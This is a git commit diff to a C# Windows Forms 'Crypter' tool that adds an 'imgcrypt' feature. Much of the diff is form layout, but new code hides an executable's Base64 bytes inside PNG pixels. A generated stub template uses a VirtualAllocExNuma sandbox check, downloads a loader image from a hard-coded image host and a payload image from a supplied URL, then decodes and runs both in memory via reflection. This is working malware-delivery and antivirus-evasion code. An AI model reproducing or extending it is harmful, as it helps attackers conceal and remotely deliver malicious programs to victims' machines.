add imgcrypt

This commit is contained in:
qwqdanchun 2020-04-28 09:58:15 +08:00
parent f307e9c15e
commit f158be064f
7 changed files with 337 additions and 129 deletions

13
.gitignore vendored Normal file
View File

@ -0,0 +1,13 @@
.vs/Crypter/v16/.suo
Crypter/bin/Debug/Crypter.exe
Crypter/bin/Debug/Crypter.pdb
*.cache
Crypter/obj/Debug/Crypter.csproj.FileListAbsolute.txt
Crypter/obj/Debug/Crypter.pdb
Crypter/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll
Crypter/obj/Debug/Crypter.Properties.Resources.resources
Crypter/obj/Debug/Crypter.exe
Crypter/obj/Debug/CrypterExample.Form1.resources
Crypter/obj/Debug/Crypter.FormDoc.resources
Crypter/obj/Debug/Crypter.FormAbout.resources

View File

@ -136,6 +136,7 @@
<Content Include="Resources\lnk_url.txt" />
<Content Include="Resources\js_url.txt" />
<Content Include="Resources\autoit_url.txt" />
<Content Include="Resources\imgcrypt.txt" />
<Content Include="Resources\VBS_url.txt" />
<Content Include="Resources\VB.txt" />
</ItemGroup>

View File

@ -30,14 +30,6 @@
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
this.groupBox1 = new System.Windows.Forms.GroupBox();
this.label3 = new System.Windows.Forms.Label();
this.textBox4 = new System.Windows.Forms.TextBox();
this.label2 = new System.Windows.Forms.Label();
this.textBox3 = new System.Windows.Forms.TextBox();
this.button1 = new System.Windows.Forms.Button();
this.textBox1 = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.button4 = new System.Windows.Forms.Button();
this.textBox2 = new System.Windows.Forms.TextBox();
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
@ -63,90 +55,26 @@
this.ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.linkLabel1 = new System.Windows.Forms.LinkLabel();
this.label4 = new System.Windows.Forms.Label();
this.groupBox1.SuspendLayout();
this.label3 = new System.Windows.Forms.Label();
this.textBox4 = new System.Windows.Forms.TextBox();
this.label2 = new System.Windows.Forms.Label();
this.textBox3 = new System.Windows.Forms.TextBox();
this.button1 = new System.Windows.Forms.Button();
this.textBox1 = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.groupBox1 = new System.Windows.Forms.GroupBox();
this.button14 = new System.Windows.Forms.Button();
this.button16 = new System.Windows.Forms.Button();
this.contextMenuStrip1.SuspendLayout();
this.menuStrip1.SuspendLayout();
this.groupBox1.SuspendLayout();
this.SuspendLayout();
//
// groupBox1
//
this.groupBox1.Controls.Add(this.label3);
this.groupBox1.Controls.Add(this.textBox4);
this.groupBox1.Controls.Add(this.label2);
this.groupBox1.Controls.Add(this.textBox3);
this.groupBox1.Controls.Add(this.button1);
this.groupBox1.Controls.Add(this.textBox1);
this.groupBox1.Controls.Add(this.label1);
this.groupBox1.Location = new System.Drawing.Point(7, 28);
this.groupBox1.Name = "groupBox1";
this.groupBox1.Size = new System.Drawing.Size(328, 154);
this.groupBox1.TabIndex = 0;
this.groupBox1.TabStop = false;
this.groupBox1.Text = "Setting";
//
// label3
//
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(22, 108);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(29, 12);
this.label3.TabIndex = 8;
this.label3.Text = "url:";
//
// textBox4
//
this.textBox4.Location = new System.Drawing.Point(57, 108);
this.textBox4.Name = "textBox4";
this.textBox4.Size = new System.Drawing.Size(252, 21);
this.textBox4.TabIndex = 7;
//
// label2
//
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(22, 72);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(29, 12);
this.label2.TabIndex = 6;
this.label2.Text = "key:";
//
// textBox3
//
this.textBox3.Location = new System.Drawing.Point(57, 69);
this.textBox3.Name = "textBox3";
this.textBox3.Size = new System.Drawing.Size(252, 21);
this.textBox3.TabIndex = 5;
//
// button1
//
this.button1.Location = new System.Drawing.Point(257, 36);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(52, 21);
this.button1.TabIndex = 4;
this.button1.Text = "Browse";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// textBox1
//
this.textBox1.Location = new System.Drawing.Point(24, 36);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(227, 21);
this.textBox1.TabIndex = 2;
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(13, 18);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(29, 12);
this.label1.TabIndex = 0;
this.label1.Text = "File";
//
// button4
//
this.button4.Location = new System.Drawing.Point(9, 188);
this.button4.Location = new System.Drawing.Point(14, 38);
this.button4.Name = "button4";
this.button4.Size = new System.Drawing.Size(51, 38);
this.button4.Size = new System.Drawing.Size(59, 38);
this.button4.TabIndex = 2;
this.button4.Text = "Base64";
this.button4.UseVisualStyleBackColor = true;
@ -156,17 +84,16 @@
//
this.textBox2.AcceptsReturn = true;
this.textBox2.AcceptsTab = true;
this.textBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
this.textBox2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.textBox2.ContextMenuStrip = this.contextMenuStrip1;
this.textBox2.Location = new System.Drawing.Point(341, 64);
this.textBox2.Location = new System.Drawing.Point(144, 193);
this.textBox2.MaxLength = 3276700;
this.textBox2.Multiline = true;
this.textBox2.Name = "textBox2";
this.textBox2.ReadOnly = true;
this.textBox2.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
this.textBox2.Size = new System.Drawing.Size(310, 206);
this.textBox2.Size = new System.Drawing.Size(489, 177);
this.textBox2.TabIndex = 3;
//
// contextMenuStrip1
@ -185,9 +112,9 @@
//
// button2
//
this.button2.Location = new System.Drawing.Point(9, 232);
this.button2.Location = new System.Drawing.Point(14, 82);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(51, 38);
this.button2.Size = new System.Drawing.Size(59, 38);
this.button2.TabIndex = 4;
this.button2.Text = "VB";
this.button2.UseVisualStyleBackColor = true;
@ -195,9 +122,9 @@
//
// button3
//
this.button3.Location = new System.Drawing.Point(66, 232);
this.button3.Location = new System.Drawing.Point(14, 126);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(51, 38);
this.button3.Size = new System.Drawing.Size(59, 38);
this.button3.TabIndex = 5;
this.button3.Text = "Rc4";
this.button3.UseVisualStyleBackColor = true;
@ -211,9 +138,9 @@
//
// button5
//
this.button5.Location = new System.Drawing.Point(178, 188);
this.button5.Location = new System.Drawing.Point(14, 214);
this.button5.Name = "button5";
this.button5.Size = new System.Drawing.Size(51, 38);
this.button5.Size = new System.Drawing.Size(59, 38);
this.button5.TabIndex = 6;
this.button5.Text = "Base64\r\nurl";
this.button5.UseVisualStyleBackColor = true;
@ -221,9 +148,9 @@
//
// button6
//
this.button6.Location = new System.Drawing.Point(123, 188);
this.button6.Location = new System.Drawing.Point(79, 82);
this.button6.Name = "button6";
this.button6.Size = new System.Drawing.Size(49, 38);
this.button6.Size = new System.Drawing.Size(59, 38);
this.button6.TabIndex = 7;
this.button6.Text = "Base64\r\nGzip";
this.button6.UseVisualStyleBackColor = true;
@ -231,9 +158,9 @@
//
// button7
//
this.button7.Location = new System.Drawing.Point(123, 232);
this.button7.Location = new System.Drawing.Point(79, 126);
this.button7.Name = "button7";
this.button7.Size = new System.Drawing.Size(49, 38);
this.button7.Size = new System.Drawing.Size(59, 38);
this.button7.TabIndex = 8;
this.button7.Text = "DLL";
this.button7.UseVisualStyleBackColor = true;
@ -241,9 +168,9 @@
//
// button8
//
this.button8.Location = new System.Drawing.Point(66, 188);
this.button8.Location = new System.Drawing.Point(79, 38);
this.button8.Name = "button8";
this.button8.Size = new System.Drawing.Size(49, 38);
this.button8.Size = new System.Drawing.Size(59, 38);
this.button8.TabIndex = 9;
this.button8.Text = "PE\r\nbytes";
this.button8.UseVisualStyleBackColor = true;
@ -251,9 +178,9 @@
//
// button9
//
this.button9.Location = new System.Drawing.Point(178, 232);
this.button9.Location = new System.Drawing.Point(79, 214);
this.button9.Name = "button9";
this.button9.Size = new System.Drawing.Size(49, 38);
this.button9.Size = new System.Drawing.Size(59, 38);
this.button9.TabIndex = 10;
this.button9.Text = "CSharp\r\nurl";
this.button9.UseVisualStyleBackColor = true;
@ -261,9 +188,9 @@
//
// button10
//
this.button10.Location = new System.Drawing.Point(233, 188);
this.button10.Location = new System.Drawing.Point(14, 170);
this.button10.Name = "button10";
this.button10.Size = new System.Drawing.Size(49, 38);
this.button10.Size = new System.Drawing.Size(59, 38);
this.button10.TabIndex = 11;
this.button10.Text = "VBS\r\nurl";
this.button10.UseVisualStyleBackColor = true;
@ -271,9 +198,9 @@
//
// button11
//
this.button11.Location = new System.Drawing.Point(233, 232);
this.button11.Location = new System.Drawing.Point(14, 258);
this.button11.Name = "button11";
this.button11.Size = new System.Drawing.Size(49, 38);
this.button11.Size = new System.Drawing.Size(59, 38);
this.button11.TabIndex = 12;
this.button11.Text = "lnk\r\nurl";
this.button11.UseVisualStyleBackColor = true;
@ -281,9 +208,9 @@
//
// button12
//
this.button12.Location = new System.Drawing.Point(288, 188);
this.button12.Location = new System.Drawing.Point(79, 170);
this.button12.Name = "button12";
this.button12.Size = new System.Drawing.Size(49, 38);
this.button12.Size = new System.Drawing.Size(59, 38);
this.button12.TabIndex = 13;
this.button12.Text = "js\r\nurl";
this.button12.UseVisualStyleBackColor = true;
@ -291,9 +218,9 @@
//
// button13
//
this.button13.Location = new System.Drawing.Point(288, 232);
this.button13.Location = new System.Drawing.Point(79, 258);
this.button13.Name = "button13";
this.button13.Size = new System.Drawing.Size(49, 38);
this.button13.Size = new System.Drawing.Size(59, 38);
this.button13.TabIndex = 14;
this.button13.Text = "AutoIt\r\nurl";
this.button13.UseVisualStyleBackColor = true;
@ -306,7 +233,7 @@
this.ToolStripMenuItem});
this.menuStrip1.Location = new System.Drawing.Point(0, 0);
this.menuStrip1.Name = "menuStrip1";
this.menuStrip1.Size = new System.Drawing.Size(663, 25);
this.menuStrip1.Size = new System.Drawing.Size(645, 25);
this.menuStrip1.TabIndex = 15;
this.menuStrip1.Text = "menuStrip1";
//
@ -359,7 +286,7 @@
// linkLabel1
//
this.linkLabel1.AutoSize = true;
this.linkLabel1.Location = new System.Drawing.Point(341, 49);
this.linkLabel1.Location = new System.Drawing.Point(410, 53);
this.linkLabel1.Name = "linkLabel1";
this.linkLabel1.Size = new System.Drawing.Size(227, 12);
this.linkLabel1.TabIndex = 16;
@ -369,18 +296,115 @@
// label4
//
this.label4.AutoSize = true;
this.label4.Location = new System.Drawing.Point(341, 37);
this.label4.Location = new System.Drawing.Point(462, 38);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(113, 12);
this.label4.TabIndex = 17;
this.label4.Text = "搭配混淆工具使用:";
//
// label3
//
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(153, 154);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(29, 12);
this.label3.TabIndex = 24;
this.label3.Text = "url:";
//
// textBox4
//
this.textBox4.Location = new System.Drawing.Point(188, 154);
this.textBox4.Name = "textBox4";
this.textBox4.Size = new System.Drawing.Size(445, 21);
this.textBox4.TabIndex = 23;
//
// label2
//
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(153, 118);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(29, 12);
this.label2.TabIndex = 22;
this.label2.Text = "key:";
//
// textBox3
//
this.textBox3.Location = new System.Drawing.Point(188, 115);
this.textBox3.Name = "textBox3";
this.textBox3.Size = new System.Drawing.Size(445, 21);
this.textBox3.TabIndex = 21;
//
// button1
//
this.button1.Location = new System.Drawing.Point(581, 82);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(52, 21);
this.button1.TabIndex = 20;
this.button1.Text = "Browse";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// textBox1
//
this.textBox1.Location = new System.Drawing.Point(188, 82);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(387, 21);
this.textBox1.TabIndex = 19;
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(153, 86);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(29, 12);
this.label1.TabIndex = 18;
this.label1.Text = "File";
//
// groupBox1
//
this.groupBox1.Controls.Add(this.button16);
this.groupBox1.Controls.Add(this.button14);
this.groupBox1.Location = new System.Drawing.Point(12, 302);
this.groupBox1.Name = "groupBox1";
this.groupBox1.Size = new System.Drawing.Size(126, 68);
this.groupBox1.TabIndex = 25;
this.groupBox1.TabStop = false;
this.groupBox1.Text = "imgcrypt";
//
// button14
//
this.button14.Location = new System.Drawing.Point(2, 19);
this.button14.Name = "button14";
this.button14.Size = new System.Drawing.Size(59, 38);
this.button14.TabIndex = 0;
this.button14.Text = "img crypt";
this.button14.UseVisualStyleBackColor = true;
this.button14.Click += new System.EventHandler(this.button14_Click);
//
// button16
//
this.button16.Location = new System.Drawing.Point(67, 19);
this.button16.Name = "button16";
this.button16.Size = new System.Drawing.Size(59, 38);
this.button16.TabIndex = 2;
this.button16.Text = "stub";
this.button16.UseVisualStyleBackColor = true;
this.button16.Click += new System.EventHandler(this.button16_Click);
//
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.SystemColors.Control;
this.ClientSize = new System.Drawing.Size(663, 278);
this.ClientSize = new System.Drawing.Size(645, 379);
this.Controls.Add(this.groupBox1);
this.Controls.Add(this.label3);
this.Controls.Add(this.textBox4);
this.Controls.Add(this.label2);
this.Controls.Add(this.textBox3);
this.Controls.Add(this.button1);
this.Controls.Add(this.textBox1);
this.Controls.Add(this.label1);
this.Controls.Add(this.label4);
this.Controls.Add(this.linkLabel1);
this.Controls.Add(this.menuStrip1);
@ -397,7 +421,6 @@
this.Controls.Add(this.button2);
this.Controls.Add(this.textBox2);
this.Controls.Add(this.button4);
this.Controls.Add(this.groupBox1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MainMenuStrip = this.menuStrip1;
@ -406,33 +429,23 @@
this.Opacity = 0.9D;
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "簞純Crypter";
this.groupBox1.ResumeLayout(false);
this.groupBox1.PerformLayout();
this.contextMenuStrip1.ResumeLayout(false);
this.menuStrip1.ResumeLayout(false);
this.menuStrip1.PerformLayout();
this.groupBox1.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.GroupBox groupBox1;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Button button4;
private System.Windows.Forms.TextBox textBox2;
private System.Windows.Forms.Button button2;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.TextBox textBox3;
private System.Windows.Forms.Button button3;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
private System.Windows.Forms.ToolStripMenuItem copyToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem copyToolStripMenuItem1;
private System.Windows.Forms.Label label3;
private System.Windows.Forms.TextBox textBox4;
private System.Windows.Forms.Button button5;
private System.Windows.Forms.Button button6;
private System.Windows.Forms.Button button7;
@ -451,6 +464,16 @@
private System.Windows.Forms.ToolStripMenuItem ToolStripMenuItem;
private System.Windows.Forms.LinkLabel linkLabel1;
private System.Windows.Forms.Label label4;
private System.Windows.Forms.Label label3;
private System.Windows.Forms.TextBox textBox4;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.TextBox textBox3;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.GroupBox groupBox1;
private System.Windows.Forms.Button button16;
private System.Windows.Forms.Button button14;
}
}

View File

@ -10,6 +10,7 @@ using System.Threading;
using System.Diagnostics;
using Ionic.Zip;
using Crypter;
using System.Drawing;
namespace CrypterExample
{
@ -24,7 +25,7 @@ namespace CrypterExample
{
OpenFileDialog FOpen = new OpenFileDialog()
{
Filter = "Executable Files|*.exe",
Filter = "Executable Files|*.exe;*.dll",
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
};
@ -394,7 +395,7 @@ namespace CrypterExample
{
OpenFileDialog FOpen = new OpenFileDialog()
{
Filter = "Executable Files|*.exe",
Filter = "Executable Files|*.exe;*.dll",
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
};
@ -422,5 +423,67 @@ namespace CrypterExample
formDoc.ShowDialog();
}
}
private void button14_Click(object sender, EventArgs e)
{
string filePath = textBox1.Text;
Bitmap img = pixelate(filePath);
SaveFileDialog s = new SaveFileDialog();
s.DefaultExt = "bmp";
s.Filter = "PNG Files|*.png";
if (s.ShowDialog() == DialogResult.OK)
{
img.Save(s.FileName);
MessageBox.Show("Upload to web,and copy the link to url.",
"Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
public static Bitmap pixelate(string filePath)
{
Random rnd = new Random();
string a = Convert.ToBase64String(System.IO.File.ReadAllBytes(filePath));
char[] aR = a.ToCharArray();
double sq = Math.Sqrt(aR.Length);
int autosize = ((int)sq) + 2;
Bitmap imageholder = new Bitmap(autosize, autosize);
Graphics g = Graphics.FromImage(imageholder);
int fff = 0;
while (fff <= aR.Length - 1)
{
for (int y = 1; y <= imageholder.Height - 1; y++)
{
for (int x = 1; x <= imageholder.Width - 1; x++)
{
if (fff <= aR.Length - 1)
{
int green = rnd.Next(0, 255);
int blue = rnd.Next(0, 255);
int charCode = aR[fff];
imageholder.SetPixel(x, y, Color.FromArgb(charCode, 0, 0));
fff++;
}
}
}
}
return imageholder;
}
private void button16_Click(object sender, EventArgs e)
{
string Source = Resources.imgcrypt;
if (textBox4.Text != "")
{
Source = Source.Replace("123456", textBox4.Text);
textBox2.Text = Source;
MessageBox.Show("Copy to VS ; Use .NET Framework 2 ; Choose Windows Application.",
"Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else
{
MessageBox.Show("Please enter the url.",
"Error!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
}
}

View File

@ -237,6 +237,32 @@ namespace Crypter.Properties {
}
}
/// <summary>
/// 查找类似 using System;
///using System.Drawing;
///using System.Net;
///using System.Runtime.InteropServices;
///using System.Text;
///
///namespace imgc
///{
/// class Program
/// {
/// [DllImport(&quot;kernel32.dll&quot;)]
/// private static extern int VirtualAllocExNuma(IntPtr hProcess, int lpAddress, int dwSize, int flAllocationType, int flProtect, int nndPreferred);
///
/// static void Main(string[] args)
/// {
///
/// object mem = null;
/// mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentPr [字符串的其余部分被截断]&quot;; 的本地化字符串。
/// </summary>
internal static string imgcrypt {
get {
return ResourceManager.GetString("imgcrypt", resourceCulture);
}
}
/// <summary>
/// 查找 System.Byte[] 类型的本地化资源。
/// </summary>

View File

@ -142,6 +142,9 @@
<data name="dll" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\dll.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
</data>
<data name="imgcrypt" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\imgcrypt.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
</data>
<data name="Include" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\include.zip;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</data>

View File

@ -0,0 +1,79 @@
using System;
using System.Drawing;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace imgc
{
class Program
{
[DllImport("kernel32.dll")]
private static extern int VirtualAllocExNuma(IntPtr hProcess, int lpAddress, int dwSize, int flAllocationType, int flProtect, int nndPreferred);
static void Main(string[] args)
{
object mem = null;
mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, 0, 1000, 0x00002000 | 0x00001000, 0x40, 0);
if (mem != null)
{
Console.WriteLine("Downloading files...");
//string loader = @"http://i.imgur.com/y66QVE2.png"; // No Startup,Global
string loader = @"https://s1.ax1x.com/2020/04/28/J4Zp9S.png"; // No StartupCHINA
string file = @"123456"; //File
var requestLoader = WebRequest.Create(loader);
var requestFile = WebRequest.Create(file);
Bitmap loaderIMG;
Bitmap fileIMG;
Console.WriteLine("Downloading Loader...");
using (var response = requestLoader.GetResponse())
using (var stream = response.GetResponseStream())
{
loaderIMG = (Bitmap)Image.FromStream(stream);
}
Console.WriteLine("Downloading File...");
using (var response = requestFile.GetResponse())
using (var stream = response.GetResponseStream())
{
fileIMG = (Bitmap)Image.FromStream(stream);
}
Console.WriteLine("Depixelating...");
Console.WriteLine("Depixelating Loader...");
byte[] outputLoader = depixelate(loaderIMG);
Console.WriteLine("Depixelating File...");
byte[] outputFile = depixelate(fileIMG);
Console.WriteLine("Running...");
System.Reflection.Assembly.Load(outputLoader).GetType("Loader.Loader").GetMethod("RunProgram").Invoke(null, new object[] { outputFile });
}
}
public static byte[] depixelate(Bitmap img)
{
StringBuilder holder = new StringBuilder();
int xmax = img.Width - 1;
int ymax = img.Height - 1;
for (int y = 1; y <= ymax; y++)
{
for (int x = 1; x <= xmax; x++)
{
Color c = img.GetPixel(x, y);
holder.Append((char)c.R);
}
}
return Convert.FromBase64String(holder.ToString().Replace(Convert.ToChar(0).ToString(), ""));
}
}
}